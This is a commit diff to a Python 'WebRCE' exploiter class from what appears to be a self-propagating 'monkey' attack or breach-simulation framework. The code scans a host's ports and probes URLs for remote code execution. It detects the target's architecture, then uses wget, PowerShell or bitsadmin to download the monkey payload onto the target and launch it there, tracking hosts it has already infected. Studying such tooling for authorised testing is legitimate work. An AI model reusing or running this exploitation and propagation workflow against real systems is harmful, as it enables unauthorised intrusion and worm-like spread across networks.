Implemented default_exploit_host method that can implement whole framework's workflow according to some flags/params

This commit is contained in:
Vakaris 2018-08-21 12:34:59 +03:00
parent e3d286dbc0
commit 911404ef68
1 changed files with 56 additions and 33 deletions

View File

@ -11,13 +11,17 @@ from network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
# Commands used to check if monkeys already exists # Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s" LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"
class WebRCE(HostExploiter): class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None): def __init__(self, host, monkey_target_paths):
""" """
:param host: Host that we'll attack :param host: Host that we'll attack
:param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
@ -35,7 +39,22 @@ class WebRCE(HostExploiter):
def exploit_host(self): def exploit_host(self):
""" """
Example workflow of the framework. Most likely you will have to override this method. Override this method to pass custom arguments to default_exploit_host
:return: True if exploited, False otherwise
"""
return self.default_exploit_host()
def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None,
stop_checking_urls=False, blind_exploit=False):
"""
Standard framework usage (call this method in exploit_host function):
:param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
it's file to the default destination path.
:param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
:param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
:param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
:return: True if exploited and False otherwise. :return: True if exploited and False otherwise.
""" """
# Get open ports # Get open ports
@ -43,27 +62,29 @@ class WebRCE(HostExploiter):
if not ports: if not ports:
return False return False
# Get urls to try to exploit # Get urls to try to exploit
urls = self.build_potential_urls(ports) urls = self.build_potential_urls(ports, url_extensions)
vulnerable_urls = [] vulnerable_urls = []
for url in urls: for url in urls:
if self.check_if_exploitable(url): if self.check_if_exploitable(url):
vulnerable_urls.append(url) vulnerable_urls.append(url)
if stop_checking_urls:
break
self._exploit_info['vulnerable_urls'] = vulnerable_urls self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls: if not vulnerable_urls:
return False return False
# Skip if monkey already exists and this option is given # Skip if monkey already exists and this option is given
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True return True
# Check for targets architecture (if it's 32 or 64 bit) # Check for targets architecture (if it's 32 or 64 bit)
if not self.set_host_arch(vulnerable_urls[0]): if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]):
return False return False
# Upload the right monkey to target # Upload the right monkey to target
data = self.upload_monkey(vulnerable_urls[0]) data = self.upload_monkey(vulnerable_urls[0], upload_commands)
if data is not False and data['response'] is False: if data is not False and data['response'] is False:
return False return False
@ -73,7 +94,7 @@ class WebRCE(HostExploiter):
return False return False
# Execute remote monkey # Execute remote monkey
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False:
return False return False
return True return True
@ -113,16 +134,16 @@ class WebRCE(HostExploiter):
return True return True
def get_command(self, path, http_path, commands): def get_command(self, path, http_path, commands):
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
try: try:
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
command = command % {'monkey_path': path, 'http_path': http_path} command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError: except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! " LOG.error("Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs.") "Check upload_monkey function docs before using custom monkey's upload commands.")
return False return False
return command return command
@ -193,9 +214,9 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, GET_ARCH_WINDOWS) resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp: if resp:
if "64-bit" in resp: if "64-bit" in resp:
return "64" return WIN_ARCH_64
else: else:
return "32" return WIN_ARCH_32
else: else:
return False return False
@ -280,7 +301,7 @@ class WebRCE(HostExploiter):
resp = self.exploit(url, command) resp = self.exploit(url, command)
if not isinstance(resp, bool) and 'owershell is not recognized' in resp: if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.") LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = self.exploit(url, backup_command) resp = self.exploit(url, backup_command)
@ -334,7 +355,7 @@ class WebRCE(HostExploiter):
# Get monkey command line # Get monkey command line
if dropper and path: if dropper and path:
# If dropper is chosen we try to move monkey to default location # If dropper is chosen we try to move monkey to default location
default_path = self.custom_to_dropper_path(path) default_path = self.get_default_dropper_path()
if default_path is False: if default_path is False:
return False return False
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
@ -386,19 +407,21 @@ class WebRCE(HostExploiter):
"custom dict of monkey's destination paths") "custom dict of monkey's destination paths")
return False return False
def custom_to_dropper_path(self, path): def get_default_dropper_path(self):
try: """
key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] Gets default dropper path for the host.
except KeyError: :return: Default monkey's destination path for corresponding host.
LOG.error("The path you used is not in monkey_target_paths array. Skipping") E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
"""
if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'):
LOG.error("Target's OS was either unidentified or not supported. Aborting")
return False return False
if key == 'linux': if self.host.os['type'] == 'linux':
return self._config.dropper_target_path_linux return self._config.dropper_target_path_linux
elif key == 'win32': if self.host.os['type'] == 'windows':
return self._config.dropper_target_path_win_32 try:
elif key == 'win64': if self.host.os['machine'] == WIN_ARCH_64:
return self._config.dropper_target_path_win_64 return self._config.dropper_target_path_win_64
else: except KeyError:
LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
"custom dict of monkey's destination paths") return self._config.dropper_target_path_win_32
return False